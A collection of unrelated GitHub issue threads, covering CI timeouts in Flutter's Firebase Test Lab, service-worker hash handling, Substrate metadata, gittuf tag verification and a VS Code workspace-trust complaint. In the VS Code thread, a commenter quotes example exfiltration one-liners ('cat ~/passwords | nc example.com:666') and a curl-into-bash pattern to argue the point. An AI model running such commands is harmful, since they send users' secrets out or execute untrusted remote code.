you could literally do duo launchpad projects live! (like one person does drums and the other does the melody)

As you can see..
here, https://github.com/Vexcited/lpadder/blob/main/src/utils/webmidi.ts#L17-L38
and here, https://github.com/Vexcited/lpadder/blob/main/src/stores/webmidi.ts#L5-L6
; the support for multi-(real)launchpads is already done !
Also, the support in projects is also, already done, as you can see here, you can add multiple launchpads to a project.
Now, the thing is to support that in "collab" mode (that's how I call the multiplayer).
Feature Tracking

[ ] Support multi-launchpads in "collab" mode.


feat(readme): add details and enhance structure

Related Issue or bug
Enhance documentation
Fixes: https://github.com/Rick-mad-lab/Todolist/issues/4
Proposed Changes

Added Local setup and contributing guidelines
Added handling to listen to the user and prefill in input box for adding as todo

LGFMS


position in multiselect

how i can fixed position ? i want to cancel auto down or up

Set dropupAuto to false. Please read the documentation in the future before asking questions about usage.


charm IDs with no revno do not deploy correctl

deploy service API doesn't accept charms with no revno

[ ] when this is done, update the openstack-nclxd bundle to go back to un-pinned revisions


firebase_test_lab_tests-0-linux failing because "gcloud crashed" with HTTP 500

SHARD=firebase_test_lab_tests
SUBSHARD=0
▌17:59:19▐ RUNNING: cd .; dev/bots/firebase_testlab.sh /tmp/flutter sdk/dev/integration_tests/release_smoke_test
Activated service account credentials for<EMAIL_ADDRESS>Updated property [core/project].
ERROR: gcloud crashed (MetadataServerException): HTTP Error 500: Internal Server Error
If you would like to report this issue, please run the following command:
  gcloud feedback
To check gcloud for common problems, please run the following command:
  gcloud info --run-diagnostics
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
ERROR: Last command exited with 1 (expected: zero).
Command: dev/bots/firebase_testlab.sh /tmp/flutter sdk/dev/integration_tests/release_smoke_test
Relative working directory: .
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

https://cirrus-ci.com/task/4564311366434816?command=main#L35

@dnfield

This is very likely a firebase outage. Sometimes we can get more information by pinging their slack at firebase.community.

The FTL outage was very transient, yet these tests continue to fail because they're timing out in Cirrus even though FTL says they passed in short order.  Perhaps they're sitting in the "scheduled" (queued) state in FTL for a long time, which Cirrus has no visibility into?

Upping to P0 since this is very much blocking the tree

Also, do Flutter contributors need to be added to some ACL to see detailed test results in FTL?

An example of Cirrus timing the test out: https://cirrus-ci.com/task/4576698521878528?command=main#L52
... which corresponds to https://console.firebase.google.com/project/flutter-infra/testlab/histories/bh.27c33c672e9b01f2/matrices/7062015724542403081

From https://cirrus-ci.com/task/6069278745034752?command=main#L255:
Test results will be streamed to [https://console.firebase.google.com/project/flutter-infra/testlab/histories/bh.27c33c672e9b01f2/matrices/5398583012443756306].
19:07:41 Test matrix status: Pending:3
19:07:53 Test matrix status: Pending:2 Running:1
19:08:05 Test matrix status: Pending:1 Running:2
19:08:17 Test matrix status: Pending:1 Running:2
19:08:29 Test matrix status: Pending:1 Running:2
19:08:41 Test matrix status: Pending:1 Running:2
19:08:53 Test matrix status: Pending:1 Running:2
19:09:05 Test matrix status: Pending:1 Running:2
19:09:18 Test matrix status: Pending:1 Running:2
19:09:30 Test matrix status: Pending:1 Running:2
19:09:42 Test matrix status: Pending:1 Running:2
19:09:54 Test matrix status: Pending:1 Running:2
19:10:06 Test matrix status: Pending:1 Running:2
19:10:18 Test matrix status: Pending:1 Running:2
19:10:30 Test matrix status: Pending:1 Running:2
19:10:42 Test matrix status: Pending:1 Running:2
19:10:54 Test matrix status: Pending:1 Running:2
19:11:06 Test matrix status: Pending:1 Running:2
19:11:18 Test matrix status: Pending:1 Running:2
19:11:30 Test matrix status: Pending:1 Running:2
19:11:42 Test matrix status: Pending:1 Running:2
19:11:54 Test matrix status: Pending:1 Running:2
19:12:06 Test matrix status: Finished:2 Pending:1
19:12:18 Test matrix status: Finished:2 Pending:1
19:12:30 Test matrix status: Finished:2 Pending:1
19:12:42 Test matrix status: Finished:2 Pending:1
19:12:55 Test matrix status: Finished:2 Pending:1
19:13:07 Test matrix status: Finished:2 Pending:1
19:13:19 Test matrix status: Finished:2 Pending:1
19:13:31 Test matrix status: Finished:2 Pending:1
19:13:43 Test matrix status: Finished:2 Pending:1
19:13:55 Test matrix status: Finished:2 Pending:1
19:14:07 Test matrix status: Finished:2 Pending:1
19:14:19 Test matrix status: Finished:2 Pending:1
19:14:31 Test matrix status: Finished:2 Pending:1
19:14:43 Test matrix status: Finished:2 Pending:1
19:14:55 Test matrix status: Finished:2 Pending:1
19:15:07 Test matrix status: Finished:2 Pending:1
19:15:19 Test matrix status: Finished:2 Pending:1
19:15:31 Test matrix status: Finished:2 Pending:1
19:15:43 Test matrix status: Finished:2 Pending:1
19:15:55 Test matrix status: Finished:2 Pending:1
19:16:07 Test matrix status: Finished:2 Pending:1
19:16:20 Test matrix status: Finished:2 Pending:1
19:16:32 Test matrix status: Finished:2 Pending:1
19:16:44 Test matrix status: Finished:2 Pending:1
19:16:56 Test matrix status: Finished:2 Pending:1
19:17:08 Test matrix status: Finished:2 Pending:1
19:17:20 Test matrix status: Finished:2 Pending:1
19:17:32 Test matrix status: Finished:2 Pending:1
19:17:44 Test matrix status: Finished:2 Pending:1
19:17:56 Test matrix status: Finished:2 Pending:1
19:18:08 Test matrix status: Finished:2 Pending:1
19:18:20 Test matrix status: Finished:2 Pending:1
19:18:32 Test matrix status: Finished:2 Pending:1
19:18:44 Test matrix status: Finished:2 Pending:1
19:18:56 Test matrix status: Finished:2 Pending:1
19:19:08 Test matrix status: Finished:2 Pending:1
19:19:20 Test matrix status: Finished:2 Pending:1
19:19:32 Test matrix status: Finished:2 Pending:1
19:19:44 Test matrix status: Finished:2 Pending:1
19:19:56 Test matrix status: Finished:2 Pending:1
19:20:08 Test matrix status: Finished:2 Pending:1
19:20:21 Test matrix status: Finished:2 Pending:1
19:20:33 Test matrix status: Finished:2 Pending:1
19:20:45 Test matrix status: Finished:2 Pending:1
19:20:57 Test matrix status: Finished:2 Pending:1
19:21:09 Test matrix status: Finished:2 Pending:1
19:21:21 Test matrix status: Finished:2 Pending:1
19:21:33 Test matrix status: Finished:2 Pending:1
19:21:45 Test matrix status: Finished:2 Pending:1
19:21:57 Test matrix status: Finished:2 Pending:1
19:22:09 Test matrix status: Finished:2 Pending:1
19:22:21 Test matrix status: Finished:2 Pending:1
19:22:33 Test matrix status: Finished:2 Pending:1
19:22:45 Test matrix status: Finished:2 Pending:1
19:22:57 Test matrix status: Finished:2 Pending:1
19:23:09 Test matrix status: Finished:2 Pending:1
19:23:21 Test matrix status: Finished:2 Pending:1
19:23:33 Test matrix status: Finished:2 Pending:1
19:23:45 Test matrix status: Finished:2 Pending:1
19:23:57 Test matrix status: Finished:2 Pending:1
19:24:10 Test matrix status: Finished:2 Pending:1
19:24:22 Test matrix status: Finished:2 Pending:1
19:24:34 Test matrix status: Finished:2 Pending:1
19:24:46 Test matrix status: Finished:2 Pending:1
19:24:58 Test matrix status: Finished:2 Pending:1
19:25:10 Test matrix status: Finished:2 Pending:1
19:25:22 Test matrix status: Finished:2 Pending:1
19:25:34 Test matrix status: Finished:2 Pending:1
19:25:46 Test matrix status: Finished:2 Pending:1
19:25:58 Test matrix status: Finished:2 Pending:1
19:26:10 Test matrix status: Finished:2 Pending:1
19:26:22 Test matrix status: Finished:2 Pending:1
19:26:34 Test matrix status: Finished:2 Pending:1
19:26:46 Test matrix status: Finished:2 Pending:1
19:26:58 Test matrix status: Finished:2 Pending:1
19:27:10 Test matrix status: Finished:2 Pending:1
19:27:22 Test matrix status: Finished:2 Pending:1
19:27:34 Test matrix status: Finished:2 Pending:1
19:27:47 Test matrix status: Finished:2 Pending:1
19:27:59 Test matrix status: Finished:2 Pending:1
19:28:11 Test matrix status: Finished:2 Pending:1
19:28:23 Test matrix status: Finished:2 Pending:1
19:28:35 Test matrix status: Finished:2 Pending:1
19:28:47 Test matrix status: Finished:2 Pending:1
19:28:59 Test matrix status: Finished:2 Pending:1
19:29:11 Test matrix status: Finished:2 Pending:1
19:29:23 Test matrix status: Finished:2 Pending:1
19:29:35 Test matrix status: Finished:2 Pending:1
19:29:47 Test matrix status: Finished:2 Pending:1
19:29:59 Test matrix status: Finished:2 Pending:1
19:30:11 Test matrix status: Finished:2 Pending:1
19:30:23 Test matrix status: Finished:2 Pending:1
19:30:35 Test matrix status: Finished:2 Pending:1
19:30:47 Test matrix status: Finished:2 Pending:1
19:30:59 Test matrix status: Finished:2 Pending:1
19:31:11 Test matrix status: Finished:2 Pending:1
19:31:23 Test matrix status: Finished:2 Pending:1
19:31:36 Test matrix status: Finished:2 Pending:1
19:31:48 Test matrix status: Finished:2 Pending:1
19:32:00 Test matrix status: Finished:2 Pending:1
19:32:12 Test matrix status: Finished:2 Pending:1
19:32:24 Test matrix status: Finished:2 Pending:1
19:32:36 Test matrix status: Finished:2 Pending:1
19:32:48 Test matrix status: Finished:2 Pending:1
19:33:00 Test matrix status: Finished:2 Pending:1
19:33:12 Test matrix status: Finished:2 Pending:1
19:33:24 Test matrix status: Finished:2 Pending:1
19:33:36 Test matrix status: Finished:2 Pending:1
19:33:48 Test matrix status: Finished:2 Pending:1
19:34:00 Test matrix status: Finished:2 Pending:1
19:34:12 Test matrix status: Finished:2 Pending:1
19:34:24 Test matrix status: Finished:2 Pending:1
19:34:36 Test matrix status: Finished:2 Pending:1
19:34:48 Test matrix status: Finished:2 Pending:1
19:35:00 Test matrix status: Finished:2 Pending:1
19:35:12 Test matrix status: Finished:2 Pending:1
19:35:25 Test matrix status: Finished:2 Pending:1
19:35:37 Test matrix status: Finished:2 Pending:1
19:35:49 Test matrix status: Finished:2 Pending:1
19:36:01 Test matrix status: Finished:2 Pending:1
19:36:13 Test matrix status: Finished:2 Pending:1
19:36:25 Test matrix status: Finished:2 Pending:1
19:36:37 Test matrix status: Finished:2 Pending:1
19:36:49 Test matrix status: Finished:2 Pending:1
19:37:01 Test matrix status: Finished:2 Pending:1
19:37:13 Test matrix status: Finished:2 Pending:1
19:37:25 Test matrix status: Finished:2 Pending:1
19:37:37 Test matrix status: Finished:2 Pending:1
19:37:49 Test matrix status: Finished:2 Pending:1
19:38:01 Test matrix status: Finished:2 Pending:1
19:38:13 Test matrix status: Finished:2 Pending:1
19:38:25 Test matrix status: Finished:2 Pending:1
19:38:37 Test matrix status: Finished:2 Pending:1
19:38:49 Test matrix status: Finished:2 Pending:1
19:39:01 Test matrix status: Finished:2 Pending:1
19:39:14 Test matrix status: Finished:2 Pending:1
19:39:26 Test matrix status: Finished:2 Pending:1
19:39:38 Test matrix status: Finished:2 Pending:1
19:39:50 Test matrix status: Finished:2 Pending:1
19:40:02 Test matrix status: Finished:2 Pending:1
19:40:14 Test matrix status: Finished:2 Pending:1
19:40:26 Test matrix status: Finished:2 Pending:1
19:40:38 Test matrix status: Finished:2 Pending:1
19:40:50 Test matrix status: Finished:2 Pending:1
19:41:02 Test matrix status: Finished:2 Pending:1
19:41:14 Test matrix status: Finished:2 Pending:1
19:41:26 Test matrix status: Finished:2 Pending:1
19:41:38 Test matrix status: Finished:2 Pending:1
19:41:50 Test matrix status: Finished:2 Pending:1
19:42:02 Test matrix status: Finished:2 Pending:1
19:42:14 Test matrix status: Finished:2 Running:1
19:42:26 Test matrix status: Finished:2 Running:1
19:42:38 Test matrix status: Finished:2 Running:1
19:42:50 Test matrix status: Finished:2 Running:1
19:43:03 Test matrix status: Finished:2 Running:1
19:43:15 Test matrix status: Finished:2 Running:1
19:43:27 Test matrix status: Finished:2 Running:1
19:43:39 Test matrix status: Finished:2 Running:1
19:43:51 Test matrix status: Finished:2 Running:1
19:44:03 Test matrix status: Finished:2 Running:1
19:44:15 Test matrix status: Finished:2 Running:1
19:44:27 Test matrix status: Finished:2 Running:1
19:44:39 Test matrix status: Finished:2 Running:1
19:44:51 Test matrix status: Finished:2 Running:1
19:45:03 Test matrix status: Finished:2 Running:1
19:45:15 Test matrix status: Finished:2 Running:1
19:45:27 Test matrix status: Finished:2 Running:1
19:45:39 Test matrix status: Finished:3
19:45:51 Test matrix status: Finished:3
Robo testing complete.

The logs show that it looks ~41 minutes for the tests to complete, but if you click through to the firebase console link shown there, it shows the tests having passed in just over 2 minutes.  Not sure how to reconcile those two...

Tests are running slightly under the 1-hour time limit now, presumably as Firebase worked through its backlog getting stuff back up.  Lowering this to P3.

This also affects the other firebase shards: https://cirrus-ci.com/task/4589453870104576


Cross filtering and selected

Hi,
This isn't an issue as such, probably my lack of understanding.
When we say 'cross filtering', does this mean within a Deneb visual, i.e. there is more than one visual within the spec, so filtering between them?
Or is this between instances of Deneb (and other Power BI instances)?
I believe it is the latter, but the selected attribute is not working how I expected it to.
Two Deneb visuals, Viz1 & Viz2.  Both have the same data set:
Cat	Val
AAA	10
BBB	20
CCC	30

Enabling Cross Filtering adds the selected attribute.  If this is done for both visuals, then we have:
Cat	Val	__selected__
AAA	10	neutral
BBB	20	neutral
CCC	30	neutral

Set up PBI Edit Interactions to so that Viz1 filters Viz2.
Now, when I select Viz1->Cat 'AAA', Viz1 data set has:
Cat	Val	__selected__
AAA	10	on
BBB	20	off
CCC	30	off

Viz2 dataset has:
Cat	Val	__selected__
AAA	10	neutral

What I was expecting was Viz2 to also then have:
Cat	Val	__selected__
AAA	10	on
BBB	20	off
CCC	30	off

I would then need to handle what that means, visually, within Viz2

Hi, cross-filtering with interval is possible or will be possible in the future? I mean cross-filtering between deneb visual and other visuals in Power BI. Currently I see only single select is possible.

See notes on #327 and #176

Closing due to lack of activity. If you need further language assistance, I recommend approaching one of the community support representatives via one of their preferred channels.


Account for hash fragments now being exposed in request.url

Library Affected:
all
Browser & Platform:
Google Chrome v59+, Firefox 52+
The service worker specification was changed to start exposing hash fragments as part of the Request.url that's passed in to the fetch event handler. Firefox matches the spec as of release 52, and Chrome will match it as of release 59.
We may need to adjust the logic that determines whether a URL is being precached to account for this change, since it relies on string comparisons. The runtime caching logic shouldn't need to change, because it relies on cache.match(), which will automatically ignore the hash fragment.
(The corresponding issue for sw-precache is https://github.com/GoogleChrome/sw-precache/issues/290.)

As always could you provide an example. In my head I'm assuming the issue is:
swlib.precache(['/some-url']);

Won't match for a request of /some-url#123123123 (or vice versa).
Regarding runtime caching - this still sounds like a possible issue (i.e. if the runtime cache is caching the same page just for different hashes), shouldn't we solve this in a more holistic manner?

Right, that example you included illustrates the issue.
This should only be a problem for precached URLs, because we use string comparisons to determine whether they match. If the incoming URL passed to a fetch event now has a hash, like '/some-url#1231', that will cause the string comparison for the precached URL '/some-url' to fail. We want those comparisons to continue succeeding.
Everywhere else (that I'm aware of) we use cache.match() directly, and the Cache Storage API already ignores any URL hash when it looks for a corresponding entry. So I don't believe there's anything that needs to be done on that front.
(There's a lot more detail in the spec issue I linked to.)

And just to extend the conversation beyond runtime caching, on the routing side of things, we use the pathname property of the incoming URL in the NavigationRoute and (for some cases) in ExpressRoute classes, so the hash property won't affect matching there.
There are ways of specifying ExpressRoutes that will match on full URLs (which would include the hash) and that's also the default way of matching RegExpRoutes. I guess I'm supportive of adding in an additional parameter to a Route constructor that caused it to discard the hash before passing the URL in to match(), and setting that to true by default.
I'm trying to think of other places where this new behavior might be relevant to our codebase...

Sorry for the disjointed replies, but you've gotten me thinking more, @gauntface.
I'd imagine that it would also be a good idea to strip away the hash from the URL before calling cacheDidUpdate, which is used for triggering cache expiration. Since the Cache Storage API ignores hashes, the logic that determines what's been recently used and what should be expired probably should, too.
So, in the interest of tracking that holistic picture, I think we could:

Create a parameter to the Route constructor, ignoreHash, which defaulted to true and controls whether the url parameter passed to match() has its hash stripped. This should also take care of the string matching against precached URLs inside of sw-lib.
Update cacheDidUpdate inside of RequestWrapper so that the value it passes in as the url parameter has the hash stripped.

My only hesitation with this approach is that so far these kinds of manipulations have been achieved with plugins, can we not do the same here?
Even if we need to add an additional callback, I feel like that would be a healthier approach than moving this to something in the Route class.
@jeffposnick what do you think?

One other thing, could this ever be a thing?
swlib.precache([
  '/#page-1',
  '/#page-2',
]);

I'm basically wondering if any JS framework that offers service side rendering, would they ever use the hash in routing to determine the static render to send down? Meaning that the hash should be conditional (even if it's stripped for all urls be default).
cc @addyosmani in case he's aware of any precedence here.

My understanding is that, as per the relevant specs, the hash/URL fragment is never sent to the server as part of any requests.
Random Stack Overflow responses seem to back that up, as does bringing up a local web server and running fetch('/blah#test') from a browser:
<IP_ADDRESS> - - [04/May/2017 15:14:13] "GET /blah HTTP/1.1" 404 -

Ah that makes sense now that I think about it.
I do still feel like plugins should be able to achieve this (so far I've been pleasantly surprised how plugins have enabled a lot of unique features like this). Is there a reason we should do it with this? I'd be very much in favor of this being a plugin that's added by default in the lower level modules given it's very much an edge case.

Sure thing. We can allow code to opt-in to this with a plugin that was used where appropriate.
If we go that route, instead of stripping away the hash prior to calling cacheDidUpdate, I could just strip the hash inside of sw-cache-expiration. That would be more flexible, since it would allow any other plugins that cared about the hash to continue receiving it, while specifically ignoring it for the cache expiration flow.

That sounds like a plan to me.
Apologies, I've had to go through and re-read this to understand when hash has an affect and when it doesnt and you last suggestion actually makes me feel a lot more comfortable with this as a change.


"Do you trust the authors of the files in this folder is shown" unnecessarily

Issue Type: Bug
TEST CASE
Open anything
EXPECTED
Peace
ACTUAL
Discomfort
VS Code version: Code 1.57.0 (Universal) (b4c1bd0a9b03c749ea011b06c6d2676c8091a70c, 2021-06-09T17:22:31.215Z)
OS version: Darwin arm64 20.5.0
Restricted Mode: No

System Info

Item
Value

CPUs
Apple M1 (8 x 24)

GPU Status
2d_canvas: enabledgpu_compositing: enabledmetal: disabled_offmultiple_raster_threads: enabled_onoop_rasterization: enabledopengl: enabled_onrasterization: enabledskia_renderer: disabled_off_okvideo_decode: enabledwebgl: enabledwebgl2: enabled

Load (avg)
2, 2, 2

Memory (System)
8.00GB (0.15GB free)

Process Argv
. --crash-reporter-id be88160b-f837-4db8-985c-0f559fce13bc

Screen Reader
no

VM
0%

Extensions (24)

Extension
Author (truncated)
Version

spellright
ban
3.0.58

unique-lines
bib
1.0.0

vscode-intelephense-client
bme
1.7.1

npm-intellisense
chr
1.3.1

vscode-pull-request-github
Git
0.27.0

latex-workshop
Jam
8.19.2

solidity
Jua
0.0.120

csharp
ms-
1.23.12

python
ms-
2021.5.926500501

vscode-pylance
ms-
2021.6.1

jupyter
ms-
2021.6.999230701

remote-ssh
ms-
0.65.7

remote-ssh-edit
ms-
0.65.7

sublime-keybindings
ms-
4.0.9

vscode-print
pdc
0.9.4

java
red
0.79.2

unique-window-colors
stu
1.0.51

vscodeintellicode
Vis
1.2.14

vscode-java-debug
vsc
0.34.0

vscode-java-dependency
vsc
0.18.4

vscode-java-pack
vsc
0.16.0

vscode-java-test
vsc
0.30.0

vscode-maven
vsc
0.31.0

vscode-import-cost
wix
2.15.0

This huge warning and cognitive break is shown regardless of whether it is necessary or not.
Instead the huge modal warning should only be shown when there is an actual decision that needs to be made.

Today I opened a CSV file in a new window and got blasted by this huge warning. I can't imagine any scenario where a CSV file, regardless of whether I trust it or not should be "executing files in this folder".

I know that people coming from Microsoft Word / Excel might be used to huge modal "do you trust" / "content disabled" warnings. But these always just illustrate a failure in the Word / Excel program security model.

@fulldecent, we have a settings that you can use to control the workspace trust feature:

security.workspace.trust.startupPrompt - Whether to show the Workspace Trust dialog on startup. Default is to only show once per distinct folder or workspace. You can set this value to never in order for the dialog not to be shown on startup.
security.workspace.trust.untrustedFiles - Controls how to handle loose files in a workspace. Default is to prompt. You can set this value to open so that untrusted file are always opened in the same window.

To spell it out, here are my expectations for VS Code and this issue highlights apparent violation of these expectations.
(If VS Code violates these expectations in another way, that is out of scope for this issue.)

VS Code is written by quality people that have my interests at heart
I trust that VS Code will not cat ~/passwords | nc microsoft.com:666
I trust that extensions I installed will not cat ~/passwords | nc example.com:666
I can open random repos on my computer with evil files inside and have nice things (color coding, static analysis) with zero risk of cat ~/passwords | nc example.com:666
Running make from the current repository includes a risk of cat ~/passwords | nc example.com:666
VS Code should show me a big warning before (and only before) running make(ish) on the repository
VS Code should not be running make without my explicit request or broad opt-in (e.g. "would you like to run make test on this repo every five minutes?")

Therefore, when I see a broad opt-in like the above immediately upon opening a project folder, it shows a violation of these expectations. These violations lead me to believe:

VS Code is planning to run some make command on my project folder

VIOLATION: I do not know which command is being run that requires trust
VIOLATION: I did not request any unsafe commands to be run

VS Code does not know the difference between safe and unsafe commands

VIOLATION: VS Code should know which commands require trust in the project files to run
VIOLATION: VS Code should be a quality project, not some "let's run bash $(curl untrusted.example.com) because it's easier than writing a script to copy files" a la (to-be-updated?) NPM and PHP Composer, or "all important software should be run as sudo, what is minimization?" a la Docker

Other people may not care as much as me to spell out these concerns but they as well do deserve to be looked after. We should make software that empowers everybody. This is why changing my settings and leaving the default as dangerous/confusing for everybody else not good.

Workspace Trust should be an opt-in feature. That, or smart enough that I don't have to confirm to it that I do in fact trust myself - the sole author of any given workspace on this machine.
Defaulting to popping such a general warning for every distinct workspace - regardless of its actual ability to cause undesired behavior through poorly-defined features that may automatically execute files in this folder - adds an additional, unnecessary, cognitive obstacle of "is there a red button in here?" regardless of that workspace's content.
That thought process should be a contextual element of due diligence for any developer worth their salt, not forced in every case via the UI.
In fact, I'd argue that VS Code is painting itself as the proverbial red button by adding this behavior. Prior to this update, I was reasonably confident that my IDE and workspaces would only do what they were setup to do; this simplicity is why I use VS Code in the first place, rather than huge IDEs like regular VS.
Now big apropos-of-nothing warnings are showing up left and right mentioning vague 'automatic features', that confidence is being eroded.
To extend the point made by @fulldecent, Windows UAC is the obvious parallel to this new feature, existing for the sake of warning potentially-uneducated users about the scope of permissions available to the programs they're running.
For power users, this is irritating and easily-disabled, but can at least be configured to only appear when potentially dangerous admin access is requested.
It doesn't ask you to give it a one-time carte blanche sign-off once per new user, as appears to be the analogue here.

Also, I learned that if you do not click TRUST, the glowing, requested blue button then you will get the popup every time you open the folder.
It's just like YouTube: DO YOU WANT TO BUY NOW??? 😄 YES  -or- 😢 ask tomorrow

Also, I learned that if you do not click TRUST, the glowing, requested blue button then you will get the popup every time you open the folder.

@fulldecent, could you please provide repro steps for this, as this should not be the case. Thank you!

I don't have full repro minification. But here is at least a visual on what I'm seeing.
https://youtu.be/7MXajxC3MLY

@fulldecent, thank you very much for the recording. Based on your recording I have been able to reproduce the problem and I have filed a separate issue to track it - https://github.com/microsoft/vscode/issues/127223. The issue here is that it looks like the built-in PHP extension does support "restricted mode" but it excessively requests for workspace trust.

@fulldecent, issue  #127223 has been fixed in the latest Insiders release and will be included in the next Stable release.

To follow up here, I've devised a workaround to OP's issue that - so far - appears to work perfectly.

Set security.workspace.trust.startupPrompt to never
Set security.workspace.trust.untrustedFiles to never
Allocate two weeks of time
Install a platform-appropriate distribution of vim
Week 1: Read the vimtutor and manual, acclimatize to the basics, assemble equivalent IDE functionality via plugins and .vimrc
Week 2: Acclimatize to the IDE functionality assembled in Week 1
Uninstall VSCode

Provided that you follow these steps to the letter, you should be left with a functional IDE that:

Responds with a simple, peaceful opened file when issued an :edit myfile.txt command
Respects your intelligence; any footgun or malware in your config is of your own making
Is several orders of magnitude more efficient
Isn't gradually sliding from sweet simplicity into a DevOps platform designed for users with no IT experience
Doesn't ship half-baked features, enable them by default, then spend a year git politicking before a real fix is made
Is still able to mooch off of Microsoft's rather excellent Language Server Protocol and Debug Adapter Protocol via lldb-vscode

Overall, it does exactly what I need, and I'm left asking myself why I didn't apply such a workaround years ago.
Hopefully this can be of help to others in a similar situation 👍

Thanks for all the feedback. We take all of the feedback into consideration as we try to improve this feature. You can see more information about our development process in this recent blog post https://code.visualstudio.com/blogs/2021/07/06/workspace-trust.


Tag verification functionality

Add a description
Currently, revoking edit permissions for keys on a tag ref causes gittuf verify-tag to fail for that tag.
If in a git repository there was a rule protect-v1 which only allowed users user1 and user2 to edit the ref refs/tags/v1. Then if user1 then creates tag v1, this will pass tag verification. However, removing user1 from the rule, and recording it in the RSL later makes gittuf verify-tag v1 fail. This happens because tag verification checks the latest RSL entry for tag refs, which would indicate user1 shouldn't have created v1 according to the most recent rules. Unlike commits, where verification is based on their specific RSL entries, tags don't have this flexibility.
How would it be possible to allow tag verification have the same flexibility as commit verification, each one referencing its own RSL entry, based on when it was created?
Relevant log output if the discussion pertains to existing gittuf functionality
No response
Code of Conduct

[X] I agree to follow this project's Code of Conduct

I'm not able to reproduce this, can you please add the commands you ran?
Here's what I did:

gittuf trust init etc.
gittuf policy add-rule with two keys, protecting refs/tags/v1
git tag, signed with one of the keys (I set git config --local to use one of the two test keys)
gittuf rsl record refs/tags/v1
gittuf policy add-rule (same rule name, removed the key I used to sign the tag / RSL entry for tag)
gittuf verify-tag v1

This returns:
v1: good signature for RSL entry and tag

After you revoked the key, did you record the new state in the RSL?

Looking at your steps, the only different command that I performed was that before I created the rules, I record the state into the RSL.

record the new state

the new state of what, sorry?

I rebuilt my gittuf, I had built a dirty version of it, and with the regular code everything is working fine

Thanks!


Enrich metadata with type information

:warning: Breaking Metadata Change :warning:
Closes https://github.com/paritytech/substrate/issues/917 :eyes:,
Still some work to do before ready for a proper review, but opening this now for visibility on progress towards completion and to gather early feedback.
See the latest generated metadata json for the default node-runtime here: https://gist.github.com/ascjones/d0d60da26f4336a9379547a2ea1d5655. This was generated by running the substrate node on this branch and then running https://github.com/ascjones/subsee to download and decode -> json serialize.
A prototype (Rust only for now) code generator exists here: https://github.com/ascjones/chameleon to verify whether there is enough information in the metadata to generate all types.
todo:

[x] Generate errors metadata
[ ] Restore and fix all commented out tests
[ ] Figure out how to handle the existing DefaultByteGetter pattern for storage/constants for the new metadata.
[ ] Benchmark:

[ ] Code size: by how much does this increase the size of the resulting wasm blob? If significantly we should consider storing the metadata somewhere else other than the runtime (see https://github.com/paritytech/substrate/discussions/8370#discussioncomment-487982)
[ ] The size of the encoded metadata itself, the result of state_getMetadata, is there a benefit to oregenerating/compressing it? Relates to previous point.
[ ] Compilation times: how does having the extra type metadata affect the overall substrate compilation times? If a considerable slowdown then should we consider feature gating the metadata generation?

[ ] Replace existing frame-metadata crate with https://github.com/paritytech/frame-metadata (depends on this being released to crates.io)
[ ] scale-info 0.7 release containing all substrate compatibility features

[ ] update parity-common and frame-metadata to use this release

[ ] Decide how to handle custom (non derived) codec encoding (see todos).
[ ] Are the all the (required for scale-info type registration) vec! allocations okay which replace existing static array refs?
[ ] Clean up and unify namespacing of frame-metadata and scale-info types, e.g. remove all the v13s  and add some imports to remove fully qualified types, which are there primarily for easy grepping during development.
[ ] Polkadot companion
[ ] Verify encoding and decoding of substrate calls/events/storage/constants using the metadata, e.g. using https://github.com/ascjones/chameleon

Would https://github.com/paritytech/frame-metadata/issues/6 be to big/out of scope to be part of this new version?

Not sure, it certainly would be of enormous benefit in terms of the size of the metadata.
The consideration would be how to generate/distribute the version of the metadata which includes the docs, perhaps could be embedded with the clients which use it e.g. polkadot.js. So needs some thinking about which I've not done yet.

* Figure out how to handle the existing `DefaultByteGetter` pattern for storage/constants for the new metadata.

Just kill it. This never brought any benefit.

Not sure, it certainly would be of enormous benefit in terms of the size of the metadata.
The consideration would be how to generate/distribute the version of the metadata which includes the docs, perhaps could be embedded with the clients which use it e.g. polkadot.js. So needs some thinking about which I've not done yet.

How sensible is it to introduce new RPC calls, e.g. state_getMetadataCompact? and what about encoding of the results, is it set in stone somewhere that binary blobs have to be encoded in hex and no base64 for example? would be nicer if compact means is even more compact.

How much larger does this make the metadata empirically?

I'm measuring today will report back.

node-runtime wasm sizes, before and after:

Overarching question: what's our migration story from legacy to scale-info?

Release it (YOLO) and require 3rd party libs to support the new metadata
Provide some tooling and docs (possibly via frame-metadata) to convert from v14 to v13. Could even embed the conversion in https://github.com/paritytech/substrate-api-sidecar.

See more discussion https://github.com/paritytech/substrate/discussions/8370#discussioncomment-492783

It seems to me that going forward, any pallet will have to import scale-info, regardless if the pallet uses any of its exported items or not. Would it be possible to re-export the used scale-info items in frame-support, or is it a bad idea to do so?

I think to solve this we need to improve scale-info to be able to give the crate to use. Similar to https://serde.rs/container-attrs.html#crate

The other thing is, does scale-info play well with storage item renames? I don't think I saw any modifications to the procedural macros for storage item renames, but I could be wrong...

storage item renames should modify the Prefix implementation, the name to use in the metadata is implemented using the Prefix I think

It seems to me that going forward, any pallet will have to import scale-info, regardless if the pallet uses any of its exported items or not. Would it be possible to re-export the used scale-info items in frame-support, or is it a bad idea to do so?

There is an idea floating around to merge scale-info into parity-scale-codec, which would also solve this, but it is certainly not happening in the short term. See https://github.com/paritytech/scale-info/issues/68#issuecomment-780635908

I think to solve this we need to improve scale-info to be able to give the crate to use. Similar to https://serde.rs/container-attrs.html#crate

True but it would also mean remembering to annotate all user-defined types in the pallet with that attribute.

Wasm size benchmarks for node-runtime:
| wasm | compact | compressed
-- | -- | -- | --
master | 3.3M | 3.1M | 884K
This PR (no docs) | 3.8M | 3.5M | 904K
This PR (all docs) | 4.2M | 3.8M | 1020K
**This PR (only required docs) **| 4.1M | 3.8M | 984K
Current implementation only includes type docs for Call, Event, and Error which are required for the polkadot.js UI.
So can people confirm that this is an acceptable size increase for now, until in the future we come up with a way to separate the metadata from the Wasm? @bkchr @rphmeier

Are those sizes for the *.wasm file or the hex-encoded version that is commonly used?
It'd be awesome to take the metadata out of the WASM, even more interesting but likely hard and perhaps some major versions down the line would be to have the runtime split up completely, as in every major piece of the runtime(e.g. pallets, core libraries) being a separate WASM loaded dynamically powered by WASI, WebAssembly Interface Types, Module Linking or whatever technologies the Bytecode Alliance might be cooking to make this easier. The runtime :code could instead be represented as a hash tree of dependencies? Most of the time updates to a runtime are minimal and very localized and would be very helpful to just send around the bit that changed. Every extra K is noticeable specially when trying to ship light clients in countries with unreliable mobile data plans 🤔

Are those sizes for the *.wasm file or the hex-encoded version that is commonly used?

